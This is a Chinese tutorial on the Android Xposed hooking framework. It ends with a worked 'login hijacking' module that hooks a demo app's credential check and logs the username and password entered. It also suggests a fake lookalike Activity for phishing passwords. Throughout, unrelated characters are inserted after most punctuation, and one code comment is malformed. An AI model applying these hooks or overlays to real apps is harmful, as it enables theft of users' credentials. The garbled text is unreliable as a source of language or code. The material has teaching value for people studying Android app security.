Xposed框架是一款可以在不修改APK的情況下影響程序運(yùn)行(修改系統(tǒng))的框架服務(wù)拗秘,通過替換/system/bin/app_process程序控制zygote進(jìn)程,使得app_process在啟動(dòng)過程中會(huì)加載XposedBridge.jar這個(gè)jar包祈惶,從而完成對Zygote進(jìn)程及其創(chuàng)建的Dalvik虛擬機(jī)的劫持雕旨。
基于Xposed框架可以制作出許多功能強(qiáng)大的模塊,且在功能不沖突的情況下同時(shí)運(yùn)作行瑞。此外奸腺,Xposed框架中的每一個(gè)庫還可以單獨(dú)下載使用,如Per APP Setting(為每個(gè)應(yīng)用設(shè)置單獨(dú)的dpi或修改權(quán)限)血久、Cydia突照、XPrivacy(防止隱私泄露)、BootManager(開啟自啟動(dòng)程序管理應(yīng)用)對原生Launcher替換圖標(biāo)等應(yīng)用或功能均基于此框架氧吐。
Xposed框架是基于一個(gè)Android的本地服務(wù)應(yīng)用XposedInstaller讹蘑,與一個(gè)提供API 的jar文件來完成的。所以筑舅,安裝使用Xposed框架需要完成以下幾個(gè)步驟:
安裝本地服務(wù)XposedInstaller
需要安裝XposedInstall.apk本地服務(wù)應(yīng)用座慰,能夠在其官網(wǎng)的framework欄目中找到,下載并安裝翠拣。地址為: http://repo.xposed.info/module/de.robv.android.xposed.installer版仔。
安裝好后進(jìn)入XposedInstaller應(yīng)用程序,會(huì)出現(xiàn)需要激活框架的界面,如下圖所示蛮粮。這里我們點(diǎn)擊“安裝/更新”就能完成框架的激活了益缎。部分設(shè)備如果不支持直接寫入的話,可以選擇“安裝方式”然想,修改為在Recovery模式下自動(dòng)安裝即可莺奔。
因?yàn)榘惭b時(shí)會(huì)存在需要Root權(quán)限,安裝后會(huì)啟動(dòng)Xposed的app_process变泄,所以安裝過程中會(huì)存在設(shè)備多次重新啟動(dòng)令哟。
TIPS:由于國內(nèi)的部分ROM對Xposed不兼容,如果安裝Xposed不成功的話妨蛹,強(qiáng)制使用Recovery寫入可能會(huì)造成設(shè)備反復(fù)重啟而無法正常啟動(dòng)屏富。
下載使用API庫
其API庫XposedBridgeApi-.jar(version是XposedAPI的版本號,如我們這里是XposedBridgeApi-54.jar)文件滑燃,我們能夠在Xposed的官方支持xda論壇找到役听,其地址為: http://forum.xda-developers.com/xposed/xposed-api-changelog-developer-news-t2714067颓鲜。
下載完畢后我們需要將Xposed Library復(fù)制到lib目錄(注意是lib目錄表窘,不是Android提供的libs目錄),然后將這個(gè)jar包添加到Build PATH中甜滨。
如果直接將jar包放置到了libs目錄下乐严,很可能會(huì)產(chǎn)生錯(cuò)誤: “IllegalAccessError: Class ref in pre-verified class resolved to unexpected implementation” 估計(jì)Xposed作者在其框架內(nèi)部也引用了BridgeApi,這樣操作避免重復(fù)引用衣摩。
實(shí)戰(zhàn)昂验,登陸劫持(原理)
使用CydiaSubstrate進(jìn)行注入,還能做登陸劫持
對一個(gè)應(yīng)用程序的登陸功能進(jìn)行劫持艾扮,并把賬號密碼打印出來既琴。
常見的登陸劫持,就是使用了Hook技術(shù)來完成的泡嘴。常見到的登陸例子甫恩。
其對應(yīng)的登陸流程代碼如下所示:
[java] view plaincopy
// 登陸按鈕的onClick事件
mLoginButton.setOnClickListener(new OnClickListener() {
@Override
public void onClick(View v) {
// 獲取用戶名
String username = mUserEditText.getText() + "";
// 獲取密碼
String password = mPasswordEditText.getText() + "";
if (isCorrectInfo(username, password)) {
Toast.makeText(MainActivity.this, "登陸成功!", Toast.LENGTH_LONG).show();
} else {
Toast.makeText(MainActivity.this, "登陸失斪糜琛磺箕!", Toast.LENGTH_LONG).show();
}
}
});
登陸界面上面的用戶信息都是存儲(chǔ)在EditText控件上,通過用戶手動(dòng)點(diǎn)擊“登陸”按鈕才會(huì)將上面的信息發(fā)送至服務(wù)器端抛虫,去驗(yàn)證賬號與密碼是否正確松靡。這樣就很簡單了,只需要找到開發(fā)者在使用EditText控件的getText方法后進(jìn)行網(wǎng)絡(luò)驗(yàn)證的方法建椰,Hook該方法雕欺,就能劫持到用戶的賬戶與密碼劫了。
TIPS:當(dāng)然,我們也可以仿照上之前CydiaSubstrate的廣告注入例子屠列,做一個(gè)一模一樣的Activity蛛枚,在劫持原Activity優(yōu)先彈出來,達(dá)到欺騙用戶獲取密碼的目的脸哀。
具體流程如下:
登陸劫持(編碼)
選擇使用Xposed框架來操作蹦浦。使用Xposed進(jìn)行Hook操作主要就是使用到了Xposed中的兩個(gè)比較重要的方法,handleLoadPackage獲取包加載時(shí)候的回調(diào)并拿到其對應(yīng)的classLoader撞蜂;findAndHookMethod對指定類的方法進(jìn)行Hook盲镶。它們的詳細(xì)定義如下所示:
[java] view plaincopy
/**
* 包加載時(shí)候的回調(diào)
/
public void handleLoadPackage(final LoadPackageParam lpparam)
/*
* Xposed提供的Hook方法
*
* @param className 待Hook的Class
* @param classLoader classLoader
* @param methodName 待Hook的Method
* @param parameterTypesAndCallback hook回調(diào)
* @return
*/
Unhook findAndHookMethod(String className, ClassLoader classLoader, String methodName, Object... parameterTypesAndCallback)
使用Xposed進(jìn)行Hook也分為如下幾個(gè)步驟:
1. 在AndroidManifest.xml文件中配置插件名稱與Api版本號
[xml] view plaincopy
<application
android:allowBackup="true"
android:icon="@drawable/ic_launcher"
android:label="@string/app_name"
android:theme="@style/AppTheme" >
<meta-data
android:name="xposedmodule"
android:value="true" />
<!-- 模塊描述 -->
<meta-data
android:name="xposeddescription"
android:value="一個(gè)登陸劫持的樣例" />
<!-- 最低版本號 -->
<meta-data
android:name="xposedminversion"
android:value="30" />
</application>
2. 新建一個(gè)入口類并繼承并實(shí)現(xiàn)IXposedHookLoadPackage接口
如下操作,我們新建了一個(gè)com.example.loginhook.Main的類蝌诡,并實(shí)現(xiàn)IXposedHookLoadPackage接口中的handleLoadPackage方法溉贿,將非com.example.login包名的應(yīng)用過濾掉,即我們只操作包名為com.example.login的應(yīng)用浦旱。如下所示:
[java] view plaincopy
public class Main implements IXposedHookLoadPackage {
/**
* 包加載時(shí)候的回調(diào)
*/
public void handleLoadPackage(final LoadPackageParam lpparam) throws Throwable {
// 將包名不是 com.example.login 的應(yīng)用剔除掉
if (!lpparam.packageName.equals("com.example.login"))
return;
XposedBridge.log("Loaded app: " + lpparam.packageName);
}
}
3. 聲明主入口路徑
需要在assets文件夾中新建一個(gè)xposed_init的文件宇色,并在其中聲明主入口類。如這里我們的主入口類為com.example.loginhook.Main颁湖。
4. 使用findAndHookMethod方法Hook劫持登陸信息
這是最重要的一步宣蠕,所分析的都需要到這一步進(jìn)行操作。分析的登陸程序甥捺,劫持就是需要Hook其com.example.login.MainActivity中的isCorrectInfo方法抢蚀。我們使用Xposed提供的findAndHookMethod直接進(jìn)行MethodHook操作(與Cydia很類似)。在其Hook回調(diào)中使用XposedBridge.log方法镰禾,將登陸的賬號密碼信息打印至Xposed的日志中皿曲。具體操作如下所示:
[java] view plaincopy
import static de.robv.android.xposed.XposedHelpers.findAndHookMethod;
public class Main implements IXposedHookLoadPackage {
/**
* 包加載時(shí)候的回調(diào)
*/
public void handleLoadPackage(final LoadPackageParam lpparam) throws Throwable {
// 將包名不是 com.example.login 的應(yīng)用剔除掉
if (!lpparam.packageName.equals("com.example.login"))
return;
XposedBridge.log("Loaded app: " + lpparam.packageName);
// Hook MainActivity中的isCorrectInfo(String,String)方法
findAndHookMethod("com.example.login.MainActivity", lpparam.classLoader, "isCorrectInfo", String.class,
String.class, new XC_MethodHook() {
@Override
protected void beforeHookedMethod(MethodHookParam param) throws Throwable {
XposedBridge.log("開始劫持了~");
XposedBridge.log("參數(shù)1 = " + param.args[0]);
XposedBridge.log("參數(shù)2 = " + param.args[1]);
}
@Override
protected void afterHookedMethod(MethodHookParam param) throws Throwable {
XposedBridge.log("劫持結(jié)束了~");
XposedBridge.log("參數(shù)1 = " + param.args[0]);
XposedBridge.log("參數(shù)2 = " + param.args[1]);
}
});
}
}
5. 在XposedInstaller中啟動(dòng)我們自定義的模塊
編譯后安裝在Android設(shè)備上的模塊應(yīng)用程序不會(huì)立即的生效,需要在XpasedInstaller模塊選項(xiàng)中勾選待啟用的模塊才能讓其正常的生效吴侦。如:
6. 重啟驗(yàn)證
重啟Android設(shè)備屋休,進(jìn)入XposedInstaller查看日志模塊,因?yàn)槲覀冎笆褂玫氖荴posedBridge.log方法打印log备韧,所以log都會(huì)顯示在此處劫樟。發(fā)現(xiàn)需要劫持的賬號密碼都顯示再來此處。